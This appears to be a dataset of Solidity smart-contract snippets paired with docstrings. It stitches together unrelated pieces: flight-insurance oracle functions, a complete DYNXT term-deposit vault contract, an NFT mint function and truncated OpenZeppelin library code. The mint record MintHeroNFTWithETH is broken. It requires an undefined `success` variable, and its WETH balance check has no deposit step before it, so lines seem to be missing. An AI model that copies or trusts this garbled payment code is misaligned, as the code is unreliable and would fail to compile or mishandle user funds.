// transfer payment on to data contract and flag as funded
flightSuretyData.registerOracle.value(REGISTRATION_FEE)(msg.sender);
// ..before crediting any overspend
msg.sender.transfer(amountToReturn);
}
// Generate a request for oracles to fetch flight information
function fetchFlightStatus
(
address airline,
string flight,
uint256 timestamp
)
requireIsOperational
external
{
flightSuretyData.fetchFlightStatus(airline, flight, timestamp, msg.sender);
}
// Called by oracle when a response is available to an outstanding request
// For the response to be accepted, there must be a pending request that is open
// and matches one of the three Indexes randomly assigned to the oracle at the
// time of registration (i.e. uninvited oracles are not welcome)
function submitOracleResponse
(
uint8 index,
address airline,
string flight,
uint256 timestamp,
uint8 statusCode
)
external
requireIsOperational
{
/* To ADD 150% compensation using integers, can multiply by 1 and divide by 2
This approach can allow for any range of percentages by representing rationals
*/
uint8 multiplyBy = 1;
uint8 divideBy = 2;
flightSuretyData.submitOracleResponse(index, airline, flight, timestamp, statusCode, MIN_RESPONSES,
msg.sender, multiplyBy, divideBy, STATUS_CODE_LATE_AIRLINE);
}
function getMyIndexes
(
)
view
public
returns (uint8[3] memory)
{
return flightSuretyData.getMyIndexes(msg.sender);
}
// endregion
}
////////////////////////////////////////////////////////////////
// API for the Data Contract
////////////////////////////////////////////////////////////////
contract FlightSuretyData {
function isOperational()
public
view
returns (bool);
function isFundedAirline(address _airline)
public
view
returns (bool);
function addAirline
(address airlineAccount, string companyName, bool isRegistered, bool isFunded, uint8 votes
)
external;
function getAirlineStatus(address _airline)
external
view
returns (bool isRegistered,
bool isFunded,
uint256 votes);
function getAirlineStatus(uint256 idx)
external
view
returns (bool isRegistered,
bool isFunded,
uint256 votes,
address airlineAccount,
string companyName);
function registeredAirlinesCount()
public
view
returns (uint256);
function fund
(address airline)
public
payable;
function registerFlight(address _airline,
string _flight,
uint256 _timestamp)
external;
function buy
(address passenger,
address _airline,
string _flight,
uint256 _timestamp
)
external
payable;
function processFlightStatus
(
address airline,
string flight,
uint256 timestamp,
uint8 statusCode,
uint8 multiplyBy,
uint8 divideBy,
uint8 payoutCode
) public;
function pay
(address passenger
)
external;
function registerOracle
(address oracleAddr
)
external
payable;
function fetchFlightStatus
(
address airline,
string flight,
uint256 timestamp,
address passenderAddr
)
external;
function submitOracleResponse
(
uint8 index,
address airline,
string flight,
uint256 timestamp,
uint8 statusCode,
uint256 min_responses,
address oracleAddr,
uint8 multiplyBy,
uint8 divideBy,
uint8 payoutCode
)
external;
function getMyIndexes
(address oracleAddr
)
view
public
returns (uint8[3] memory);
function findAirline(address _airline)
external
view
returns (uint256);
function registerVote(uint256 idx, address _voter)
external;
function airlineVotes(uint256 idx)
external
view
returns (uint256);
function registerAirline(uint256 idx)
external;
function hasNotAlreadyVoted(address _airline, address _voter)
external
view
returns (bool);
function getAirlineCount()
public
view
returns (uint256);
function getCredit(address passenger)
public
view
returns (uint256);
}
|
Transfers eligible payout funds to insuree
|
function pay()
external
requireIsOperational
{
flightSuretyData.pay(msg.sender);
}
| 14,113,408
|
// SPDX-License-Identifier: UNLICENSED
/*
syyhhdddhhhh+ `oyyyyyyyyyyy/
+yyhddddddddy. -yhhhhhhhhhhy-
:ysyhdddddddh: `+hhhhhhhhhhho`
.yosyhhhddddh. .shhhhhhhhhhh/
`ososyhhhhy- /hhhhhhhhhhhs.
/s+osyyo` `ohhhhhhhhhhh+`
-s+os: -yhhhhhhhhhhy:
.o+. `/yyyyyhhhhhho.
.+sssyyyyyhhy/`
-+ooosssyyyys-
`:++++oossyyy+`
.///+++ooosss:
`-/////+++ooso. `.
`:///////++oo/ .sh/
.::///////++o- :yhhdo`
`::::://////+/` `+yhhdddy-
.:::::://///+- .oyhhhddddd+
-::::::::///+. /syhhhddddmmy.
`:::::::::://: -oyhhddddmmmd:
-////////////. `+yhdddddmmmmo
*/
pragma solidity ^0.8.6;
// Third-party contract imports.
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
// Third-party library imports.
import "./Address.sol";
import "./EnumerableSet.sol";
import "./SafeBEP20.sol";
import "./SafeMath.sol";
// A Vault contract that allows users to place their tokens into one or more
// term deposits. Deposited tokens will be locked for a fixed period of time,
// but upon reaching maturity, are able to be released with an added reward
// proportional to the duration of the term.
contract DYNXTVault is Ownable, ReentrancyGuard
{
// Local aliasing of imported assets.
using Address for address;
using EnumerableSet for EnumerableSet.AddressSet;
using SafeBEP20 for IBEP20;
using SafeMath for uint256;
// A safe deposit box to track the user's deposited principal, when the
// deposit reaches maturity, the reward upon reaching maturity, and
// whether the user is allowed to withdraw their deposit prematurely.
struct SafeDepositBox
{
uint256 end_time;
uint256 principal;
uint256 reward;
bool premature_withdrawal_enabled;
}
// A term for which a deposit is made and a mapping of all existing
// deposits with that term length. Each term deposit has a duration, a
// minimum required deposit, a numerator and denominator which set the
// yield rate, and a list of safe deposit boxes being held under this
// term.
struct TermDeposit
{
uint256 duration;
uint256 minimum_deposit;
uint256 yield_numerator;
uint256 yield_denominator;
uint256 number_of_accounts;
EnumerableSet.AddressSet accounts;
mapping(address => SafeDepositBox) deposits;
}
// Determines the token to be accepted and handled by the vault and any
// additional values necessary for properly handling supplies of it.
IBEP20 immutable vault_token;
address public vault_token_address;
uint256 public vault_token_decimals;
uint256 private vault_token_scale_factor;
// Maps a unique duration in seconds to the safe deposit boxes associated
// with those terms.
uint256 public number_of_terms = 0;
mapping(uint256 => TermDeposit) private deposit_terms;
// Tracks the total number of tokens currently held on behalf of users.
uint256 public current_vault_holdings = 0;
uint256 public pending_vault_rewards = 0;
// A Unix timestamp which, if greater than the current block timestamp,
// prevents the contract owner from withdrawing vault tokens.
uint256 public owner_withdrawal_locked_until = 0;
// The thresholds at which the ability to prematurely withdraw a deposit
// defaults to disabled.
uint256 public threshold_principal;
uint256 public threshold_duration;
// Events that the contract can emit.
event OwnerBNBRecovery(uint256 amount);
event OwnerTokenRecovery(address token_recovered, uint256 amount);
event OwnerWithdrawal(uint256 amount);
event Withdrawal(uint256 term_id, address indexed user, uint256 amount);
event PrematureWithdrawal(uint256 term_id, address indexed user, uint256 amount);
event Deposit(uint256 term_id, address indexed user, uint256 amount);
event CreateTerm(
uint256 duration,
uint256 minimum_deposit,
uint256 yield_numerator,
uint256 yield_denominator
);
// Instantiates the Vault contract.
//
// @param _original_owner:
// - An address to specify the contract owner on contract creation.
//
// @param _vault_token_address:
// - The address of the token that will be held and issued by this vault.
//
// @param _threshold_principal
// - Deposit sizes above which premature withdrawal is disabled.
//
// @param _threshold_duration
// - Term durations above which premature withdrawal is disabled.
constructor(
address _original_owner,
address _vault_token_address,
uint256 _threshold_principal,
uint256 _threshold_duration
) Ownable(_original_owner)
{
// Configures the token that the vault will handle.
vault_token = IBEP20(_vault_token_address);
vault_token_address = _vault_token_address;
vault_token_decimals = IBEP20(vault_token_address).decimals();
vault_token_scale_factor = 10 ** vault_token_decimals;
// Sets the premature withdrawal thresholds.
threshold_principal = _threshold_principal;
threshold_duration = _threshold_duration;
// Defines a deposit of at least 10 million tokens with a term of
// 7 days which returns a 0.5% yield upon maturity.
createTerm(7 days, toEther(10 ** 7), 5, 1000);
// Defines a deposit of at least 100 million tokens with a term of
// 30 days which returns a 3.0% yield upon maturity.
createTerm(30 days, toEther(10 ** 8), 30, 1000);
// Defines a deposit of at least 1 billion tokens with a term of
// 90 days which returns a 10.0% yield upon maturity.
createTerm(90 days, toEther(10 ** 9), 100, 1000);
// Defines a deposit of at least 10 billion tokens with a term of
// 180 days which returns a 22.0% yield upon maturity.
createTerm(180 days, toEther(10 ** 10), 220, 1000);
}
// A modifier to validate a term ID parameter of a function.
modifier validTermID(uint256 _term_id)
{
// Requires that a term matching the chosen ID exists.
require(_term_id <= (number_of_terms - 1), "Invalid term ID");
// Executes the modified function.
_;
}
// Allows this contract to receive and handle BNB.
receive() external payable
{}
// Allows the contract owner to recover BNB sent to the contract.
function recoverBNB() public onlyOwner
{
// Identifies how much BNB is held by the contract.
uint256 contract_balance = address(this).balance;
// Requires that the amount of BNB being recovered is greater than
// zero.
require(contract_balance > 0, "Contract BNB balance is zero");
// Transfers all BNB in the contract to the contract owner.
payable(owner()).transfer(contract_balance);
// Emits a BNB recovery event.
emit OwnerBNBRecovery(contract_balance);
}
// Releases a random token sent to this contract to the contract owner.
//
// Blocks attempts to release the token stored in and rewarded by the vault
// to protect the holdings of its users.
//
// @param token_address:
// - The address of the token being recovered.
function recoverTokens(address token_address) public onlyOwner
{
// Requires that the token being recoverd is not the same token that
// protected by the vault.
require(
token_address != vault_token_address,
"Cannot recover the vault protected token with this function"
);
// Interfaces with the token being recovered.
IBEP20 token = IBEP20(token_address);
// Identifies how much of the token is held by the contract.
uint256 contract_balance = token.balanceOf(address(this));
// Requires that the amount of the token being recovered is greater
// than zero.
require(contract_balance > 0, "Contract token balance is zero");
// Transfers the full balance of the token held by the contract to the
// contract owner.
token.safeTransfer(owner(), contract_balance);
// Emits a token recovery event.
emit OwnerTokenRecovery(token_address, contract_balance);
}
// Releases vault tokens to the contract owner.
//
// This function can be time-locked for the security of the vault users.
//
// @param _amount:
// - The number of tokens to recover in fixed point format.
function recoverVaultTokens(uint256 _amount) public onlyOwner
{
// Requires that owner recovery of vault tokens not be protected under
// a current time-lock.
require(
owner_withdrawal_locked_until <= block.timestamp,
"The vault protected token is currently locked"
);
// Identifies how much of the vault token is held by the contract.
uint256 contract_balance = vault_token.balanceOf(address(this));
// Requires that the amount of tokens held by the contract matches or
// exceeds the amount being recovered.
require(
contract_balance >= _amount,
"Cannot withdraw more tokens than are held by the contract"
);
// Transfers the full balance of the token held by the contract to the
// contract owner.
vault_token.safeTransfer(owner(), _amount);
// Emits a token recovery event.
emit OwnerWithdrawal(_amount);
}
// Sets or extends a time-lock on the recovery of vault protected tokens by
// the contract owner.
//
// @param _release_time;
// - The Unix timestamp that owner vault token recovery is locked until.
function lockOwnerWithdrawal(uint256 _release_time) public onlyOwner
{
// Requires that the release time be a future time.
require(
_release_time > block.timestamp,
"The lock release timestamp must be greater than the current timestamp"
);
// Requires the new release time to exceed any existing release time.
require(
_release_time > owner_withdrawal_locked_until,
"The new lock release time must be greater than the current one"
);
// Sets a new time-lock release time.
owner_withdrawal_locked_until = _release_time;
}
// Converts the token amount from fixed point representation to the
// floating point representation that most users are accustomed to.
//
// @param _amount:
// - The number of tokens to deposit in fixed point representation.
function toEther(uint256 _amount) public view returns(uint256)
{
// Returns the amount scaled to the floating point representation
// according to the number of decimals utilized by the token.
return _amount.mul(vault_token_scale_factor);
}
// Returns the current block timestamp for at-a-glance comparison with lock
// release times or term end times.
function currentTimestamp() public view returns(uint256)
{
// Returns the current block timestamp.
return block.timestamp;
}
// Creates a possible term option for a vault deposit.
//
// The ID number associated with a given term is determined by the order
// in which it was created. IDs start at zero and increment from there.
//
// @param _duration:
// - The duration of the term in seconds.
//
// @param _minimum_deposit:
// - The minimum allowed deposit for this term given in expanded integer
// form.
//
// @param _yield_numerator:
// - The numerator used to calculate the yield percentage.
//
// @param _yield_denominator:
// - The denominator used to calculate the yield percentage.
function createTerm(
uint256 _duration,
uint256 _minimum_deposit,
uint256 _yield_numerator,
uint256 _yield_denominator
) public onlyOwner
{
// Requires that the duration of the deposit term be longer than zero.
require(_duration > 0, "The duration of the term cannot be zero");
// Creates a new term deposit and increments the tracker of the number
// of term deposits that have been created.
TermDeposit storage _term = deposit_terms[number_of_terms++];
// Sets the attributes of the newly created term.
_term.duration = _duration;
_term.minimum_deposit = _minimum_deposit;
_term.yield_numerator = _yield_numerator;
_term.yield_denominator = _yield_denominator;
_term.number_of_accounts = 0;
// Emits a term creation event.
emit CreateTerm(
_duration,
_minimum_deposit,
_yield_numerator,
_yield_denominator
);
}
// Allows the owner to toggle whether an arbitrary deposit in a given term
// can be withdrawn prematurely. Newly created deposits have this value
// set to false by default. This function can be used to set it to true or
// restore it to false.
//
// @param _term_id:
// - An integer identifier associated with one of the existing terms.
//
// @param _account:
// - The address of the account that made the deposit.
//
// @param _enabled:
// - A boolean value representing whether or not premature withdrawal of
// the deposit is allowed. "true" allows premature withdrawal. "false"
// prohibits it.
function setPrematureWithdrawalEnabled(
uint256 _term_id,
address _account,
bool _enabled
) public onlyOwner validTermID(_term_id)
{
// Loads the deposit term associated with the given term ID.
TermDeposit storage _term = deposit_terms[_term_id];
// Requires that an account has made a deposit for this term.
require(
_term.accounts.contains(_account),
"No deposit exists for this account and term"
);
// Accesses the safe deposit box in the vault for this user.
SafeDepositBox storage _deposit = _term.deposits[_account];
// Enables or disables premature withdrawal of the account's deposit
// for the indicated term.
_deposit.premature_withdrawal_enabled = _enabled;
}
// Calculates the reward owed upon term deposit maturity.
//
// @param _principal:
// - The amount of principal deposited.
//
// @param _yield_numerator:
// - The numerator used to calculate the yield percentage.
//
// @param _yield_denominator:
// - The denominator used to calculate the yield percentage.
function calculateReward(
uint256 _principal,
uint256 _yield_numerator,
uint256 _yield_denominator
) public pure returns(uint256)
{
return _principal.mul(_yield_numerator).div(_yield_denominator);
}
// Allows an account to make a deposit to a specific term.
//
// @param _term_id:
// - An integer identifier associated with one of the existing terms.
//
// @param _amount:
// - The number of tokens to recover in fixed point format.
function deposit(
uint256 _term_id,
uint256 _amount
) public nonReentrant validTermID(_term_id)
{
// Requires that the amount deposited is greater than zero.
require(_amount > 0, "The amount to deposit cannot be zero");
// Loads the deposit term associated with the given term ID.
TermDeposit storage _term = deposit_terms[_term_id];
// Requires one deposit per account per term.
require(
!_term.accounts.contains(_msgSender()),
"A deposit already exists for this account and term"
);
// Requires that the deposited amount match or exceed the minimum
// requirement.
require(
_amount >= _term.minimum_deposit,
"Deposit is below the minimum principal required for this term"
);
// Transfers the amount deposited to the contract.
//
// NOTE: The contract instance must be approved by the user first so
// that the allowance is high enough to allow the transfer.
// This process can be automated by integrating this contract,
// the token contract, and the user-signed call with a web3
// service.
vault_token.safeTransferFrom(
address(_msgSender()),
address(this),
_amount
);
// Adds the user to the list of accounts for this term.
_term.accounts.add(_msgSender());
_term.number_of_accounts++;
// Creates a safe deposit box in the vault for this user.
SafeDepositBox storage _deposit = _term.deposits[_msgSender()];
// Sets the attributes of the box.
_deposit.end_time = block.timestamp + _term.duration;
_deposit.principal = _amount;
_deposit.reward = calculateReward(
_amount,
_term.yield_numerator,
_term.yield_denominator
);
// Defaults the ability to prematurely withdraw your deposit and forego
// any reward to enabled. This can be toggled by the contract owner.
_deposit.premature_withdrawal_enabled = true;
// Deposits above the threshold principal automatically have their
// ability to be prematurely withdrawn disabled.
if (_deposit.principal > threshold_principal)
{
_deposit.premature_withdrawal_enabled = false;
}
// Deposits in terms longer than the threshold duration automatically
// have their ability to be prematurely withdrawn disabled.
if (_term.duration > threshold_duration)
{
_deposit.premature_withdrawal_enabled = false;
}
// Increments the current holdings and pending reward trackers.
current_vault_holdings = current_vault_holdings.add(_deposit.principal);
pending_vault_rewards = pending_vault_rewards.add(_deposit.reward);
// Emits a deposit event.
emit Deposit(_term_id, _msgSender(), _amount);
}
// Allows an account to make a withdrawal from a specific term.
//
// @param _term_id:
// - An integer identifier associated with one of the existing terms.
function withdraw(uint256 _term_id) public nonReentrant validTermID(_term_id)
{
// Loads the deposit term associated with the given term ID.
TermDeposit storage _term = deposit_terms[_term_id];
// Requires that an account has made a deposit for this term.
require(
_term.accounts.contains(_msgSender()),
"No deposit exists for this account and term"
);
// Accesses the safe deposit box in the vault for this user.
SafeDepositBox storage _deposit = _term.deposits[_msgSender()];
// Req uires that the deposit for this term be mature to withdraw.
require(
_deposit.end_time <= block.timestamp,
"Cannot withdraw deposit before it reaches maturity"
);
// The amount to be withdrawn, calculated as the original deposit plus
// the earned reward.
uint256 _amount = _deposit.principal + _deposit.reward;
// Checks how many tokens are currently held by the contract.
uint256 contract_balance = vault_token.balanceOf(address(this));
// Requires that the contract contain enough tokens to withdraw.
require(
contract_balance >= _amount,
"Contract contains insufficient tokens to match this withdrawal attempt"
);
// Withdraws the tokens.
vault_token.safeTransfer(_msgSender(), _amount);
// Decrements the current holdings and pending reward trackers.
current_vault_holdings = current_vault_holdings.sub(_deposit.principal);
pending_vault_rewards = pending_vault_rewards.sub(_deposit.reward);
// Closes the account's safe deposit box for this term.
_term.accounts.remove(_msgSender());
delete _term.deposits[_msgSender()];
_term.number_of_accounts--;
// Emits a withdrawal event.
emit Withdrawal(_term_id, _msgSender(), _amount);
}
// Allows an account to make a premature withdrawal.
//
// @param _term_id:
// - An integer identifier associated with one of the existing terms.
function withdrawPrematurely(uint256 _term_id) public nonReentrant validTermID(_term_id)
{
// Loads the deposit term associated with the given term ID.
TermDeposit storage _term = deposit_terms[_term_id];
// Requires that an account has made a deposit for this term.
require(
_term.accounts.contains(_msgSender()),
"No deposit exists for this account and term"
);
// Accesses the safe deposit box in the vault for this user.
SafeDepositBox storage _deposit = _term.deposits[_msgSender()];
// Requires that premature withdrawal be enabled in order to
// withdraw prematurely.
require(
_deposit.premature_withdrawal_enabled,
"Premature withdrawal requests must be approved by the contract owner"
);
// The amount of principal being prematurely withdrawn.
uint256 _amount = _deposit.principal;
// Checks how many tokens are currently held by the contract.
uint256 contract_balance = vault_token.balanceOf(address(this));
// Requires that the contract contain enough tokens to withdraw.
require(
contract_balance >= _amount,
"Contract contains insufficient tokens to match this withdrawal attempt"
);
// Withdraws the tokens.
vault_token.safeTransfer(_msgSender(), _amount);
// Decrements the current holdings and pending reward trackers.
current_vault_holdings = current_vault_holdings.sub(_deposit.principal);
pending_vault_rewards = pending_vault_rewards.sub(_deposit.reward);
// Closes the account's safe deposit box for this term.
_term.accounts.remove(_msgSender());
delete _term.deposits[_msgSender()];
_term.number_of_accounts--;
// Emits a premature withdrawal event.
emit PrematureWithdrawal(_term_id, _msgSender(), _amount);
}
// Determines the number of tokens available to pay out from the vault.
function vaultBalance() public view returns(uint256)
{
// Returns the current token balance in the contract.
return vault_token.balanceOf(address(this));
}
// Determines how many tokens would be owed by the vault to holders if all
// of them were eligible to withdraw their principal and interest
// immediately.
function vaultDebt() public view returns(uint256)
{
return current_vault_holdings + pending_vault_rewards;
}
// Retrieves information about a term.
//
// @param _term_id:
// - An integer identifier associated with one of the existing terms.
function getTermInfo(
uint256 _term_id
) public view validTermID(_term_id) returns(
uint256 duration,
uint256 minimum_deposit,
uint256 yield_numerator,
uint256 yield_denominator,
uint256 number_of_accounts
)
{
// Loads the deposit term associated with the given term ID.
TermDeposit storage _term = deposit_terms[_term_id];
// Populates the return values with information about the loaded term.
duration = _term.duration;
minimum_deposit = _term.minimum_deposit;
yield_numerator = _term.yield_numerator;
yield_denominator = _term.yield_denominator;
number_of_accounts = _term.number_of_accounts;
}
// Retrieves information about a safe deposit box.
//
// @param _term_id:
// - An integer identifier associated with one of the existing terms.
//
// @param _account:
// - The address of the account that made the deposit.
function getDepositInfo(
uint256 _term_id,
address _account
) public view validTermID(_term_id) returns(
uint256 end_time,
uint256 principal,
uint256 reward,
bool premature_withdrawal_enabled
)
{
// Loads the deposit term associated with the given term ID.
TermDeposit storage _term = deposit_terms[_term_id];
// Requires that an account has made a deposit for this term.
require(
_term.accounts.contains(_account),
"No deposit exists for this account and term"
);
// Accesses the safe deposit box in the vault for this user.
SafeDepositBox storage _deposit = _term.deposits[_account];
// Populates the return values with information about the loaded
// safe deposit box.
end_time = _deposit.end_time;
principal = _deposit.principal;
reward = _deposit.reward;
premature_withdrawal_enabled = _deposit.premature_withdrawal_enabled;
}
}
|
Creates a possible term option for a vault deposit. The ID number associated with a given term is determined by the order in which it was created. IDs start at zero and increment from there. _duration: - The duration of the term in seconds. _minimum_deposit: - The minimum allowed deposit for this term given in expanded integer form. _yield_numerator: - The numerator used to calculate the yield percentage. _yield_denominator: - The denominator used to calculate the yield percentage. Requires that the duration of the deposit term be longer than zero. Creates a new term deposit and increments the tracker of the number of term deposits that have been created. Sets the attributes of the newly created term. Emits a term creation event.
|
function createTerm(
uint256 _duration,
uint256 _minimum_deposit,
uint256 _yield_numerator,
uint256 _yield_denominator
) public onlyOwner
{
require(_duration > 0, "The duration of the term cannot be zero");
TermDeposit storage _term = deposit_terms[number_of_terms++];
_term.duration = _duration;
_term.minimum_deposit = _minimum_deposit;
_term.yield_numerator = _yield_numerator;
_term.yield_denominator = _yield_denominator;
_term.number_of_accounts = 0;
emit CreateTerm(
_duration,
_minimum_deposit,
_yield_numerator,
_yield_denominator
);
}
| 2,558,356
|
./full_match/421613/0x147b06a3203eC66EC038b7A7EDdE8747FCdc4d36/sources/project_/contracts/GameControllerProxy.sol
|
validate Mint heroNFT
|
function MintHeroNFTWithETH(uint256 teamId) public payable
{
address user = _msgSender();
uint256 priceCreditMint = (GameControllerContract.ListAddressMintFree(user) == true)
? 0 : GameControllerContract.PriceCreditMint();
require(msg.value >= priceCreditMint, "Error MintHeroNFTWithETH: invalid value ETH");
if(priceCreditMint == 0)
{
GameControllerContract.MintHeroNFT(user, teamId);
}
else
{
uint256 oldBalanceWETHContract = WETH.balanceOf(address(this));
require(oldBalanceWETHContract.add(priceCreditMint) >= WETH.balanceOf(address(this)), "Error: Swap ETH to WETH");
GameControllerContract.MintHeroNFT(user, teamId);
}
uint256 repayETH = msg.value.sub(priceCreditMint);
if(repayETH > 0)
{
require(success, "Error repayETH");
}
emit OnMintHeroNFTWithETH(user, priceCreditMint);
}
| 11,572,826
|
/**
*Submitted for verification at Etherscan.io on 2021-12-08
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
